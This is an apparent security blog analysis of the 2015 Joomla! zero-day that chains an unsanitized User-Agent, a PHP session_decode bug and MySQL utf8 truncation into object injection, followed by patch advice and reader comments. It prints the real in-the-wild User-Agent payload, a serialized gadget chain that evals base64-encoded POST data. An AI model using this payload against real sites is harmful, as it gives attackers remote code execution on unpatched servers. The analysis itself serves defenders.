In-depth analyses of the Joomla! 0-day User-Agent exploit

Posted on

On Monday, Joomla! released updates and hotfixes for all their versions. It had to patch a zero-day exploit that was already being used in the wild.Initial analysis by Sucuri, Metasploit and Reddit suggested it had something to do with the storage of the unsanitized User-Agent string into the session data. This session data was stored into an custom Joomla database (utf8_general_ci) and was executed as it was a close handler of the database. We will guide you through the exploit and explain how you can be secure by using standard security measures.

We’ve developed a PoC which injects a malicious payload executing phpinfo.

Part 1: Unsanitized use of data

The easiest part is getting data into the platform. All modern CMS’ have multiple input they take for various reasons. The sended headers, cookies, the url itself. All this data is being processed and, in a CMS, most likely stored somewhere (You’re better off using a static generator to shrink your input vector). In this case, we use the User-Agent or the HTTP_X_FORWARDED_FOR header. This header tells the server what type of client is trying to connect (operating system, browser, versions,…). This is not a mandatory step for many sites, but mainly used for statistics and some including extra javascript/css to enhance the experience of the user. In Joomla! this data is saved into the session.

// File: libraries/vendor/joomla/session/Joomla/Session/Session.php

// Check for clients browser
if (in_array('fix_browser', $this->security) && isset($_SERVER['HTTP_USER_AGENT']))
{
    $browser = $this->get('session.client.browser');

    if ($browser === null)
    {
        $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
    }
    elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
    {
        // @todo remove code:                           $this->_state   =       'error';
        // @todo remove code:                           return false;
    }
}

The code snippet above illustrates the fact that the User-Agent string is stored unescaped and unsanitized.

Advice: Always sanitize user input

Part 2: The custom session handler

Joomla! uses a custom session handler to save the session data. The function session_set_save_handler can be used to override the session handler. In the case of Joomla!, they don’t save it into files, but they save it into the database. This is what happens:

  • A session is started by session_start
  • The read handler is called and returns the session data
  • session_decode is used to decode the current session data.
  • The $_SESSION variable is filled

… Now you can change / add data to your $_SESSION array …

  • A session is closed by session_write_close (or termination of the PHP file)
  • The session variable is encoded by session_encode
  • The write handler is called to save the session data

session_encode / session_decode

This uses a special version of serialize, instead of serializing the full $_SESSION, it serializes the values and groups them together with pipes.

  • source: array(“a” => 5, “b” => 6)
  • serialize: a:2:{s:1:”a”;i:5;s:1:”b”;i:6;}
  • session_encode: a|i:5;b|i:6;

When done correctly, these functions do not introduce an attack vector. But because both are using different code, both code bases should be maintained, so they are kept code free. In case of serialize, more people look over it, while session_decode is somewhat left behind.

Joomla session handler

The handler writes the data with a PDO and uses quotes to make sure no SQL injection can happen. This is written really well.

public function write($id, $data)
{
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();

    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

    try
    {
        $query = $db->getQuery(true)
            ->update($db->quoteName('#__session'))
            ->set($db->quoteName('data') . ' = ' . $db->quote($data))
            ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
            ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

      // Try to update the session data in the database table.
      $db->setQuery($query);

      if (!$db->;execute())
      {
            return false;
      }
      /* Since $db->execute did not throw an exception, so the query was successful.
         Either the data changed, or the data was identical.
         In either case we are done.
      */
      return true;
    }
    catch (Exception $e)
    {
        return false;
    }
}

Though the following line is crucial to this bug:

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

When you serialize a class with protected variables, the difference between normal and protected variables is that protected variables are prefixed with “\0*\0”.

class CustomClass {
    protected $data = 5;
}
echo serialize(new CustomClass);

Gives you:

O:11:"CustomClass":1:{s:7:"\0*\0data";i:5;}

But MySQL data can’t save null bytes, so the custom Joomla handler converts them to something that is supported (escaped version of zeros). This is handy because HTTP headers don’t allow null bytes, so you cannot pass null bytes through the HTTP headers. You wouldn’t be able to serialize the protected variables in a class, however the custom handler makes it possible.

Advice: Don’t reinvent the wheel, use the build-in functions (e.g. session handler).

Part 3: The session_decode bug (CVE-2015-6835)

As I’ve said earlier, if session_decode would decode the data properly, this exploit would not exist. Because nowhere in Joomla, they blatantly eval or serialize the User Agent. In januari 2015 a bug was found in the unserialize function (CVE-2015-0273). It made it possible to crash PHP (or execute own code) because it recreated the internal C structures, but didn’t check types. Functions would try to consume this structure and assuming a different type (e.g. using an int as pointer). This bug was quickly patched and a new version was released.

Though, the session_decode uses the same principles and wasn’t fixed. In september 2015, the exploit CVE-2015-6835 was filled. This made it possible to inject some data into the session array by carefully crafting your decoding string.

session_decode('user_agent|s:10:"test|i:5;')

Gives you:

array(
    'user_agent' => NULL
    '10:"test"' => 5  // Injected
)

Imagine that the bold part is your User Agent in the session data. If you can terminate the string after your injected code, you can create any variable you want, even objects. In part 3, we will search a way to terminate the string, in part 4 we will search how we can create objects that will be executed.

This bug is already fixed and released in PHP 5.4.45, PHP 5.5.29, PHP 5.6.13, in all supported Ubuntu, Debian and RedHat channels. And it was all released by end september. This exploit is critical for the Joomla! exploit to work, so everybody that installs the security releases of PHP was already save! High five for all those awesome people using automatic updaters!

Advice: Make sure you always use the latest version of your software

Part 4: Making things easier, MySQL UTF-8 support

As described in the previous paragraph, we need a way to terminate the data of the session variable. Luckily, Joomla! uses an own implemented session handler that uses MySQL with utf8_general_ci collocation. Whenever this encounters an unsupported 4-byte UTF-8 symbol, it just terminates the data. After inserting the session data through the custom Joomla session handlers, the following:

user_agent|s:10:"test|i:5;𝌆";a|i:1;b|i:2;

becomes

user_agent|s:10:"test|i:5;

And we have the required structure to use the session_decode bug.

Advice: Use escape functions that removes 4-byte UTF-8 symbols from input data

Part 5: The search for an executor

Now that we have a way to add contents to the $_SESSION variable, we can also create new objects and add them to the session variable. Thus now we have to search for something that will get executed. For example, take the following class in your application.

Now we have to search after a call_user_func_array that is called upon __wakeup or __destruct and let it call the init function of our SimplePie object. Multiple valid classes can be found, but the attackers used the JDatabaseDriverMysqli class that automatically calls some cleanup code on destruction. Below are the relevant parts of the class.

Summary

This exploit uses multiple bugs in various systems to run its code: it uses an unsanitized User-Agent that is saved in the session data. Because this data is saved with a custom Joomla session handler into the database, a MySQL truncation bug can be used to trigger a session_decode exploit, to break and create custom objects. Those objects are then used to create a payload that will be executed by the disconnect handler of the JDatabaseDriverMysqli class.

In our examples, we always use phpinfo, the real attack doesn’t embed the code to execute directly, they execute the code that enters the 111 post variable:

eval("base64_decode($_POST[111])")

So most attacks are used with some form of the following User-Agent:

jklmj}__jklmjklmjk|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";
a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;
s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;
s:8:"feed_url";s:62:"eval('base64_decode($_POST[111])');JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

Disclaimer: We added the real exploit for educational purposes (because they can be found everywhere in the forums), don’t use them against other sites!

Solution

Many security firms are giving you firewall / mod_security rules to fix this issue. Though, there are many security experts busy in all the upstream projects. They investigate and try to fix exploits as fast as possible. Mostly fixes are released before any exploits are used in the wild. In this case, the Joomla exploit was not fixed before the attacks, but the PHP bug was already fixed for 2 months. I don’t want to give firewall rules as solution. The best solution is to stay up-to-date with all your software. Upgrade Joomla to 3.4.6 or PHP to >= 5.4.45, >= 5.5.29, >= 5.6.13 (ps. Ubuntu and Debian packages also contain the fix).

Edit

Joomla has released 2 releases (3.4.6 and 3.4.7) to solve this issue. You are secure for the exploit in this form when using the 3.4.6 update, or an updated PHP version. Though it is certainly advised to upgrade to 3.4.7 because that version adds new security measures that makes sure variants of this exploit cannot happen.

3.4.6 Fix part 1 by sanitizing user input. The User-Agent isn’t saved anymore and the HTTP_X_FORWARDED_FOR should now be an IP. 3.4.7 Fix part 4 by encoding the session data with base64 before running it through session_encode. This way the truncation cannot happen because the 4-byte UTF-8 char is transformed.

 

Check your site against the exploit with our mini-scanner and know if your all your software are up to date with our full version scanner PatrolServer.

  • Thomas

    My server was using PHP 5.5.30 since October. Which presumably is not effected by this vulnerability. For the couple days before the Joomla update was released would my server have been vulnerable to this exploit.

    I do see a couple attempts in my raw server logs of the exploit trying to do its thing. But I have not been able to confirm any website or server modifications that I see people mentioning in other places as a result of this exploit.

    • PatrolServer

      No, if you had PHP 5.5.30, your server was not vulnerable. That is why it is mandatory to make sure you run the most updated software security releases. This exploit only attacked so many sites, just because they run older software (2 months+ older releases)

      If you want to get notified about new releases, you can always use our scanner. It will mail you the day itself you have to update your version.

  • N/A N/A

    There is a lot of quarrel about this hole in internet now, but at most places peoples forget to mention that its CHAINED attack and Joomla’s hole is only entry point.
    I kinda missed update on release and fount problem just several days ago, checked my logs and…they was full of mentioned above attempts to hack in. In fury i checked everything (after installing update to Joomla, ofc) and found nothing suspicious.
    All thanks to security patches backported to php 5.5.9 in Ubuntu 14.04 LTS. Erorr log was full of entries about “wrong session destroyed”.
    So, everyone with private VPS with software frequently updated is not under attack.
    Still, its good idea to think about security – disable unneeded functions, uninstall unneeded web software, components and addons, enable basic security functions like open_basedir and so on.

  • A.M.

    again, what’s the bug in session_decode?? It’s not clear at all, you linked to an UAF bug. If you use that UAF why not just exploit the memory corruption? Do you need a bug in session_decode if you have that mysql truncation bug??

    • PatrolServer

      The UAF bug and the mysql trunction documented behaviour are both needed to trigger this exploit. Of course you can do a hell lot more with the UAF bug only. But maybe not done because binary data is needed for that.

      • A.M.

        so how is the UAF bug used here? why is that necessary, this is what I don’t understand. Thanks!

        • PatrolServer

          Because without the UAF bug, the data will not be unserialized, because the data is not decodable. With the bug it will wrongfully try to further decode the string when an fault is found.
          So user_agent|s:10:”test|i:5; should normally decode to false, but is decoded to array(‘user_agent’ => NULL
          ’10:”test”‘ => 5)

          • A.M.

            Yeah….but i still don’t see how that UAF bug helps this: user_agent|s:10:”test|i:5; to decode properly. Thanks!.